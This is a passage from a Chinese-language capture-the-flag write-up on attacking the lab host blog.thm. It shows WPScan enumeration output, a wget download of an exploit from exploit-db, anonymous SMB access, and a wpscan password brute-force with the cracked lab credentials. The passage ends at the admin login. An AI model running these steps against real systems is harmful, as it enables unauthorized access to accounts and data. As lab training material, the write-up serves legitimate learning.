&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[&lt;span style="color:#ff79c6"&gt;+&lt;/span&gt;] XML&lt;span style="color:#ff79c6"&gt;-&lt;/span&gt;RPC seems to be enabled: http:&lt;span style="color:#ff79c6"&gt;//&lt;/span&gt;blog&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;thm&lt;span style="color:#ff79c6"&gt;/&lt;/span&gt;xmlrpc&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;php
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;|&lt;/span&gt; Found By: Direct Access (Aggressive Detection)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;|&lt;/span&gt; Confidence: &lt;span style="color:#bd93f9"&gt;100&lt;/span&gt;&lt;span style="color:#ff79c6"&gt;%&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;|&lt;/span&gt; References:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;|&lt;/span&gt; &lt;span style="color:#ff79c6"&gt;-&lt;/span&gt; http:&lt;span style="color:#ff79c6"&gt;//&lt;/span&gt;codex&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;wordpress&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;org&lt;span style="color:#ff79c6"&gt;/&lt;/span&gt;XML&lt;span style="color:#ff79c6"&gt;-&lt;/span&gt;RPC_Pingback_API
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;|&lt;/span&gt; &lt;span style="color:#ff79c6"&gt;-&lt;/span&gt; https:&lt;span style="color:#ff79c6"&gt;//&lt;/span&gt;www&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;rapid7&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;com&lt;span style="color:#ff79c6"&gt;/&lt;/span&gt;db&lt;span style="color:#ff79c6"&gt;/&lt;/span&gt;modules&lt;span style="color:#ff79c6"&gt;/&lt;/span&gt;auxiliary&lt;span style="color:#ff79c6"&gt;/&lt;/span&gt;scanner&lt;span style="color:#ff79c6"&gt;/&lt;/span&gt;http&lt;span style="color:#ff79c6"&gt;/&lt;/span&gt;wordpress_ghost_scanner&lt;span style="color:#ff79c6"&gt;/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;|&lt;/span&gt; &lt;span style="color:#ff79c6"&gt;-&lt;/span&gt; https:&lt;span style="color:#ff79c6"&gt;//&lt;/span&gt;www&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;rapid7&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;com&lt;span style="color:#ff79c6"&gt;/&lt;/span&gt;db&lt;span style="color:#ff79c6"&gt;/&lt;/span&gt;modules&lt;span style="color:#ff79c6"&gt;/&lt;/span&gt;auxiliary&lt;span style="color:#ff79c6"&gt;/&lt;/span&gt;dos&lt;span style="color:#ff79c6"&gt;/&lt;/span&gt;http&lt;span style="color:#ff79c6"&gt;/&lt;/span&gt;wordpress_xmlrpc_dos&lt;span style="color:#ff79c6"&gt;/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;|&lt;/span&gt; &lt;span style="color:#ff79c6"&gt;-&lt;/span&gt; https:&lt;span style="color:#ff79c6"&gt;//&lt;/span&gt;www&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;rapid7&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;com&lt;span style="color:#ff79c6"&gt;/&lt;/span&gt;db&lt;span style="color:#ff79c6"&gt;/&lt;/span&gt;modules&lt;span style="color:#ff79c6"&gt;/&lt;/span&gt;auxiliary&lt;span style="color:#ff79c6"&gt;/&lt;/span&gt;scanner&lt;span style="color:#ff79c6"&gt;/&lt;/span&gt;http&lt;span style="color:#ff79c6"&gt;/&lt;/span&gt;wordpress_xmlrpc_login&lt;span style="color:#ff79c6"&gt;/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;|&lt;/span&gt; &lt;span style="color:#ff79c6"&gt;-&lt;/span&gt; https:&lt;span style="color:#ff79c6"&gt;//&lt;/span&gt;www&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;rapid7&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;com&lt;span style="color:#ff79c6"&gt;/&lt;/span&gt;db&lt;span style="color:#ff79c6"&gt;/&lt;/span&gt;modules&lt;span style="color:#ff79c6"&gt;/&lt;/span&gt;auxiliary&lt;span style="color:#ff79c6"&gt;/&lt;/span&gt;scanner&lt;span style="color:#ff79c6"&gt;/&lt;/span&gt;http&lt;span style="color:#ff79c6"&gt;/&lt;/span&gt;wordpress_pingback_access&lt;span style="color:#ff79c6"&gt;/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[&lt;span style="color:#ff79c6"&gt;+&lt;/span&gt;] WordPress readme found: http:&lt;span style="color:#ff79c6"&gt;//&lt;/span&gt;blog&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;thm&lt;span style="color:#ff79c6"&gt;/&lt;/span&gt;readme&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;html
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;|&lt;/span&gt; Found By: Direct Access (Aggressive Detection)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;|&lt;/span&gt; Confidence: &lt;span style="color:#bd93f9"&gt;100&lt;/span&gt;&lt;span style="color:#ff79c6"&gt;%&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[&lt;span style="color:#ff79c6"&gt;+&lt;/span&gt;] Upload directory has listing enabled: http:&lt;span style="color:#ff79c6"&gt;//&lt;/span&gt;blog&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;thm&lt;span style="color:#ff79c6"&gt;/&lt;/span&gt;wp&lt;span style="color:#ff79c6"&gt;-&lt;/span&gt;content&lt;span style="color:#ff79c6"&gt;/&lt;/span&gt;uploads&lt;span style="color:#ff79c6"&gt;/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;|&lt;/span&gt; Found By: Direct Access (Aggressive Detection)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;|&lt;/span&gt; Confidence: &lt;span style="color:#bd93f9"&gt;100&lt;/span&gt;&lt;span style="color:#ff79c6"&gt;%&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[&lt;span style="color:#ff79c6"&gt;+&lt;/span&gt;] The external WP&lt;span style="color:#ff79c6"&gt;-&lt;/span&gt;Cron seems to be enabled: http:&lt;span style="color:#ff79c6"&gt;//&lt;/span&gt;blog&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;thm&lt;span style="color:#ff79c6"&gt;/&lt;/span&gt;wp&lt;span style="color:#ff79c6"&gt;-&lt;/span&gt;cron&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;php
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;|&lt;/span&gt; Found By: Direct Access (Aggressive Detection)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;|&lt;/span&gt; Confidence: &lt;span style="color:#bd93f9"&gt;60&lt;/span&gt;&lt;span style="color:#ff79c6"&gt;%&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;|&lt;/span&gt; References:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;|&lt;/span&gt; &lt;span style="color:#ff79c6"&gt;-&lt;/span&gt; https:&lt;span style="color:#ff79c6"&gt;//&lt;/span&gt;www&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;iplocation&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;net&lt;span style="color:#ff79c6"&gt;/&lt;/span&gt;defend&lt;span style="color:#ff79c6"&gt;-&lt;/span&gt;wordpress&lt;span style="color:#ff79c6"&gt;-&lt;/span&gt;from&lt;span style="color:#ff79c6"&gt;-&lt;/span&gt;ddos
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;|&lt;/span&gt; &lt;span style="color:#ff79c6"&gt;-&lt;/span&gt; https:&lt;span style="color:#ff79c6"&gt;//&lt;/span&gt;github&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;com&lt;span style="color:#ff79c6"&gt;/&lt;/span&gt;wpscanteam&lt;span style="color:#ff79c6"&gt;/&lt;/span&gt;wpscan&lt;span style="color:#ff79c6"&gt;/&lt;/span&gt;issues&lt;span style="color:#ff79c6"&gt;/&lt;/span&gt;&lt;span style="color:#bd93f9"&gt;1299&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[&lt;span style="color:#ff79c6"&gt;+&lt;/span&gt;] WordPress version &lt;span style="color:#bd93f9"&gt;5.0&lt;/span&gt; identified (Insecure, released on &lt;span style="color:#bd93f9"&gt;2018&lt;/span&gt;&lt;span style="color:#ff79c6"&gt;-&lt;/span&gt;&lt;span style="color:#bd93f9"&gt;12&lt;/span&gt;&lt;span style="color:#ff79c6"&gt;-&lt;/span&gt;&lt;span style="color:#bd93f9"&gt;06&lt;/span&gt;)&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;|&lt;/span&gt; Found By: Rss Generator (Passive Detection)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;|&lt;/span&gt; &lt;span style="color:#ff79c6"&gt;-&lt;/span&gt; http:&lt;span style="color:#ff79c6"&gt;//&lt;/span&gt;blog&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;thm&lt;span style="color:#ff79c6"&gt;/&lt;/span&gt;feed&lt;span style="color:#ff79c6"&gt;/&lt;/span&gt;, https:&lt;span style="color:#ff79c6"&gt;//&lt;/span&gt;wordpress&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;org&lt;span style="color:#ff79c6"&gt;/&lt;/span&gt;?v&lt;span style="color:#ff79c6"&gt;=&lt;/span&gt;&lt;span style="color:#bd93f9"&gt;5.0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;|&lt;/span&gt; &lt;span style="color:#ff79c6"&gt;-&lt;/span&gt; http:&lt;span style="color:#ff79c6"&gt;//&lt;/span&gt;blog&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;thm&lt;span style="color:#ff79c6"&gt;/&lt;/span&gt;comments&lt;span style="color:#ff79c6"&gt;/&lt;/span&gt;feed&lt;span style="color:#ff79c6"&gt;/&lt;/span&gt;, https:&lt;span style="color:#ff79c6"&gt;//&lt;/span&gt;wordpress&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;org&lt;span style="color:#ff79c6"&gt;/&lt;/span&gt;?v&lt;span style="color:#ff79c6"&gt;=&lt;/span&gt;&lt;span style="color:#bd93f9"&gt;5.0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[&lt;span style="color:#ff79c6"&gt;+&lt;/span&gt;] WordPress theme &lt;span style="color:#ff79c6"&gt;in&lt;/span&gt; use: twentytwenty
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;|&lt;/span&gt; Location: http:&lt;span style="color:#ff79c6"&gt;//&lt;/span&gt;blog&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;thm&lt;span style="color:#ff79c6"&gt;/&lt;/span&gt;wp&lt;span style="color:#ff79c6"&gt;-&lt;/span&gt;content&lt;span style="color:#ff79c6"&gt;/&lt;/span&gt;themes&lt;span style="color:#ff79c6"&gt;/&lt;/span&gt;twentytwenty&lt;span style="color:#ff79c6"&gt;/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;|&lt;/span&gt; Last Updated: &lt;span style="color:#bd93f9"&gt;2021&lt;/span&gt;&lt;span style="color:#ff79c6"&gt;-&lt;/span&gt;&lt;span style="color:#bd93f9"&gt;07&lt;/span&gt;&lt;span style="color:#ff79c6"&gt;-&lt;/span&gt;&lt;span style="color:#bd93f9"&gt;22&lt;/span&gt;T00:&lt;span style="color:#bd93f9"&gt;00&lt;/span&gt;:&lt;span style="color:#bd93f9"&gt;00.000&lt;/span&gt;Z
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;|&lt;/span&gt; Readme: http:&lt;span style="color:#ff79c6"&gt;//&lt;/span&gt;blog&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;thm&lt;span style="color:#ff79c6"&gt;/&lt;/span&gt;wp&lt;span style="color:#ff79c6"&gt;-&lt;/span&gt;content&lt;span style="color:#ff79c6"&gt;/&lt;/span&gt;themes&lt;span style="color:#ff79c6"&gt;/&lt;/span&gt;twentytwenty&lt;span style="color:#ff79c6"&gt;/&lt;/span&gt;readme&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;txt
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;|&lt;/span&gt; [&lt;span style="color:#ff79c6"&gt;!&lt;/span&gt;] The version is out of date, the latest version is &lt;span style="color:#bd93f9"&gt;1.8&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;|&lt;/span&gt; Style URL: http:&lt;span style="color:#ff79c6"&gt;//&lt;/span&gt;blog&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;thm&lt;span style="color:#ff79c6"&gt;/&lt;/span&gt;wp&lt;span style="color:#ff79c6"&gt;-&lt;/span&gt;content&lt;span style="color:#ff79c6"&gt;/&lt;/span&gt;themes&lt;span style="color:#ff79c6"&gt;/&lt;/span&gt;twentytwenty&lt;span style="color:#ff79c6"&gt;/&lt;/span&gt;style&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;css?ver&lt;span style="color:#ff79c6"&gt;=&lt;/span&gt;&lt;span style="color:#bd93f9"&gt;1.3&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;|&lt;/span&gt; Style Name: Twenty Twenty
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;|&lt;/span&gt; Style URI: https:&lt;span style="color:#ff79c6"&gt;//&lt;/span&gt;wordpress&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;org&lt;span style="color:#ff79c6"&gt;/&lt;/span&gt;themes&lt;span style="color:#ff79c6"&gt;/&lt;/span&gt;twentytwenty&lt;span style="color:#ff79c6"&gt;/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;|&lt;/span&gt; Description: Our default theme &lt;span style="color:#ff79c6"&gt;for&lt;/span&gt; &lt;span style="color:#bd93f9"&gt;2020&lt;/span&gt; is designed to take full advantage of the flexibility of the block editor&lt;span style="color:#ff79c6"&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;|&lt;/span&gt; Author: the WordPress team
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;|&lt;/span&gt; Author URI: https:&lt;span style="color:#ff79c6"&gt;//&lt;/span&gt;wordpress&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;org&lt;span style="color:#ff79c6"&gt;/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;|&lt;/span&gt; Found By: Css Style In Homepage (Passive Detection)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;|&lt;/span&gt; Confirmed By: Css Style In &lt;span style="color:#bd93f9"&gt;404&lt;/span&gt; Page (Passive Detection)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;|&lt;/span&gt; Version: &lt;span style="color:#bd93f9"&gt;1.3&lt;/span&gt; (&lt;span style="color:#bd93f9"&gt;80&lt;/span&gt;&lt;span style="color:#ff79c6"&gt;%&lt;/span&gt; confidence)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;|&lt;/span&gt; Found By: Style (Passive Detection)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;|&lt;/span&gt; &lt;span style="color:#ff79c6"&gt;-&lt;/span&gt; http:&lt;span style="color:#ff79c6"&gt;//&lt;/span&gt;blog&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;thm&lt;span style="color:#ff79c6"&gt;/&lt;/span&gt;wp&lt;span style="color:#ff79c6"&gt;-&lt;/span&gt;content&lt;span style="color:#ff79c6"&gt;/&lt;/span&gt;themes&lt;span style="color:#ff79c6"&gt;/&lt;/span&gt;twentytwenty&lt;span style="color:#ff79c6"&gt;/&lt;/span&gt;style&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;css?ver&lt;span style="color:#ff79c6"&gt;=&lt;/span&gt;&lt;span style="color:#bd93f9"&gt;1.3&lt;/span&gt;, Match: &lt;span style="color:#f1fa8c"&gt;&amp;#39;Version: 1.3&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[&lt;span style="color:#ff79c6"&gt;+&lt;/span&gt;] Enumerating All Plugins (via Passive Methods)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[i] No plugins Found&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[&lt;span style="color:#ff79c6"&gt;+&lt;/span&gt;] Enumerating Config Backups (via Passive &lt;span style="color:#ff79c6"&gt;and&lt;/span&gt; Aggressive Methods)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Checking Config Backups &lt;span style="color:#ff79c6"&gt;-&lt;/span&gt; Time: &lt;span style="color:#bd93f9"&gt;00&lt;/span&gt;:&lt;span style="color:#bd93f9"&gt;00&lt;/span&gt;:&lt;span style="color:#bd93f9"&gt;16&lt;/span&gt; (&lt;span style="color:#bd93f9"&gt;137&lt;/span&gt; &lt;span style="color:#ff79c6"&gt;/&lt;/span&gt; &lt;span style="color:#bd93f9"&gt;137&lt;/span&gt;) &lt;span style="color:#bd93f9"&gt;100.00&lt;/span&gt;&lt;span style="color:#ff79c6"&gt;%&lt;/span&gt; Time: &lt;span style="color:#bd93f9"&gt;00&lt;/span&gt;:&lt;span style="color:#bd93f9"&gt;00&lt;/span&gt;:&lt;span style="color:#bd93f9"&gt;16&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[i] No Config Backups Found&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[&lt;span style="color:#ff79c6"&gt;!&lt;/span&gt;] No WPScan API Token given, as a result vulnerability data has &lt;span style="color:#ff79c6"&gt;not&lt;/span&gt; been output&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[&lt;span style="color:#ff79c6"&gt;!&lt;/span&gt;] You can get a free API token with &lt;span style="color:#bd93f9"&gt;25&lt;/span&gt; daily requests by registering at https:&lt;span style="color:#ff79c6"&gt;//&lt;/span&gt;wpscan&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;com&lt;span style="color:#ff79c6"&gt;/&lt;/span&gt;register
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[&lt;span style="color:#ff79c6"&gt;+&lt;/span&gt;] Finished: Sat Aug &lt;span style="color:#bd93f9"&gt;7&lt;/span&gt; &lt;span style="color:#bd93f9"&gt;01&lt;/span&gt;:&lt;span style="color:#bd93f9"&gt;17&lt;/span&gt;:&lt;span style="color:#bd93f9"&gt;25&lt;/span&gt; &lt;span style="color:#bd93f9"&gt;2021&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[&lt;span style="color:#ff79c6"&gt;+&lt;/span&gt;] Requests Done: &lt;span style="color:#bd93f9"&gt;170&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[&lt;span style="color:#ff79c6"&gt;+&lt;/span&gt;] Cached Requests: &lt;span style="color:#bd93f9"&gt;7&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[&lt;span style="color:#ff79c6"&gt;+&lt;/span&gt;] Data Sent: &lt;span style="color:#bd93f9"&gt;40.812&lt;/span&gt; KB
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[&lt;span style="color:#ff79c6"&gt;+&lt;/span&gt;] Data Received: &lt;span style="color:#bd93f9"&gt;322.273&lt;/span&gt; KB
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[&lt;span style="color:#ff79c6"&gt;+&lt;/span&gt;] Memory used: &lt;span style="color:#bd93f9"&gt;213.184&lt;/span&gt; MB
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[&lt;span style="color:#ff79c6"&gt;+&lt;/span&gt;] Elapsed time: &lt;span style="color:#bd93f9"&gt;00&lt;/span&gt;:&lt;span style="color:#bd93f9"&gt;00&lt;/span&gt;:&lt;span style="color:#bd93f9"&gt;51&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;可以發現 &lt;code&gt;wp-content/oploads&lt;/code&gt; 目錄沒有鎖&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/6f3f9-8svkMhr.png"&gt;前面有發現 Wordpress 的版本是 5.0- 上 searchsploit 尋找看看有沒有可以用的 Exploit&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/91c6a-XdhUTF7.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;wget https://www.exploit-db.com/download/49512 -O 49512.py&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;然而執行起來發現需要帳號密碼，所以就暫時先放一邊&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="smb"&gt;SMB&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;前面 nmap 發現他有開 SMB 的 port來掃看看 &lt;code&gt;smbmap -H blog.thm&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;可以發現有開一個Disk 叫做BillySMB&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/7dd70-VVCQqzB.png"&gt;也可以用 &lt;code&gt;smbclient -L //blog.thm&lt;/code&gt; 列出裡面的資訊- 由於 SMB 可以使用匿名登入，所以詢問密碼只要直接按下 Enter即可&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/46280-LK2gmK3.png"&gt;如上截圖，發現會出現一個 SMB1 Disable 的 錯誤- 依照下列網址方式處理https://dalemazza.wordpress.com/2020/04/20/nt_status_io_timeout-smb-error-and-how-to-fix-it/修改 &lt;code&gt;/etc/samba/smb.conf&lt;/code&gt;- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/e8c01-aQYUaqq.png"&gt;&lt;/li&gt;
&lt;li&gt;在 &lt;code&gt;[global]&lt;/code&gt; 裡面增加一行&lt;code&gt;client min protocol = NT1&lt;/code&gt;就可以正常使用ㄌ&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/b7d3d-hBH947C.png"&gt;輸入 &lt;code&gt;smbclient -N '//blog/thm/BillySMB'&lt;/code&gt;- 可以直接進入 SMB 的 CLI&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/bc196-OuYvUAB.png"&gt;輸入 &lt;code&gt;ls&lt;/code&gt; 觀察裡面的資料- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/ee642-hs2h6dq.png"&gt;輸入 &lt;code&gt;get {檔名}&lt;/code&gt; 依序把檔案拔出來- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/77719-IovRpfM.png"&gt;發現裡面有一張 QR Code- 網路上找一個 QR 轉換器&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/668dd-9vX5G7o.png"&gt;然而只是一個普通的 Youtube 連結其他也都只是滿無聊的圖檔，沒有什麼特別&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="爆破密碼"&gt;爆破密碼&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;爆破密碼很無聊，但有時候很有用針對 Wordpress 可以用 &lt;code&gt;wpscan&lt;/code&gt; 內建的爆破方法我們先準備一個 &lt;code&gt;user.txt&lt;/code&gt; 裡面有兩行，分別是兩個使用者&lt;code&gt;bjoel&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;kwheel``wpscan --url http://blog.thm/ -U user.txt -P /opt/rockyou.txt&lt;/code&gt;- 接下來使用 &lt;code&gt;-U&lt;/code&gt; 配使用者名稱檔案&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-P&lt;/code&gt; 配密碼字典檔來未看先猜一下，爆出來比較有機會的是 &lt;code&gt;kwheel&lt;/code&gt;- 因為是開發者的媽媽，老人家資安意識比較差&lt;/li&gt;
&lt;li&gt;&lt;del&gt;抱歉我就歧視&lt;/del&gt;等了十幾分鐘，真的成功的爆出了密碼!!- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/656a1-tsmDBHk.png"&gt;&lt;code&gt;kwheel&lt;/code&gt; / &lt;code&gt;cutiepie1&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;果然老人家愛用弱密碼&lt;/code&gt;接下來到 &lt;code&gt;/wp-admin&lt;/code&gt; 準備登入- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/ad5d8-BsDUBsd.png"&gt;&lt;/li&gt;
